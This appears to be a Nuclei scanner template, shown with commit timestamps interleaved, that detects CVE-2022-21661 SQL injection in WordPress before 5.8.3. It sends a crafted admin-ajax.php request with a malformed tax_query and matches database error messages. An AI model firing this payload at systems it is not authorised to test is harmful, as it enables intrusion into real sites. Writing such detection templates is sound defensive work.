2023-03-24 14:34:38 +00:00
id : CVE-2022-21661
2023-03-25 11:15:10 +00:00
2023-03-24 14:34:38 +00:00
info :
2023-04-13 17:07:08 +00:00
name : WordPress <5.8.3 - SQL Injection
2023-03-25 16:54:37 +00:00
author : Marcio Mendes
2023-03-28 05:45:46 +00:00
severity : high
2023-03-25 16:54:37 +00:00
description : |
2023-04-13 15:37:14 +00:00
WordPress before 5.8.3 is susceptible to SQL injection through multiple plugins or themes due to improper sanitization in WP_Query, An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
2023-09-06 11:59:08 +00:00
remediation : This has been patched in 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability.
2023-03-24 14:34:38 +00:00
reference :
- https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
- https://www.zerodayinitiative.com/blog/2022/1/18/cve-2021-21661-exposing-database-info-via-wordpress-sql-injection
2023-03-25 16:54:37 +00:00
- http://packetstormsecurity.com/files/165540/WordPress-Core-5.8.2-SQL-Injection.html
2023-03-28 05:45:46 +00:00
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
2023-04-13 15:37:14 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2022-21661
2023-03-24 14:34:38 +00:00
classification :
2023-03-25 02:47:28 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2023-03-24 14:34:38 +00:00
cve-id : CVE-2022-21661
2023-03-25 02:47:28 +00:00
cwe-id : CWE-89
2024-01-14 13:49:27 +00:00
epss-score : 0.94068
epss-percentile : 0.98979
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
2023-03-27 11:32:18 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : wordpress
product : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,wp,sqli,wpquery,wpscan,packetstorm,wordpress
2023-03-25 11:15:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-24 14:34:38 +00:00
- raw :
2023-03-25 11:15:10 +00:00
- |
2023-03-24 14:34:38 +00:00
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-03-25 16:54:37 +00:00
action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":[""]}}}&ecs_ajax_settings={"post_id":"1", "current_page":1, "widget_id":1, "theme_id":1, "max_num_pages":10}
2023-03-25 11:15:10 +00:00
2023-03-24 14:34:38 +00:00
matchers :
2023-03-25 16:54:37 +00:00
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "WordPress database error:")'
2023-03-27 11:32:18 +00:00
- 'contains(body, "error in your SQL syntax")'
2023-03-25 16:54:37 +00:00
condition : and
2024-01-14 14:05:19 +00:00
# digest: 4b0a00483046022100e4962de30e8e85ed4e5e95cdc5f9113b32d7caae8fc6493db9aa32dbbd6cdc41022100ed4762e4681539ef46483e108a0f292d6bbd369d1361d4f0bb5381be2f203e0e:922c64590222798bb761d5b6d8e72950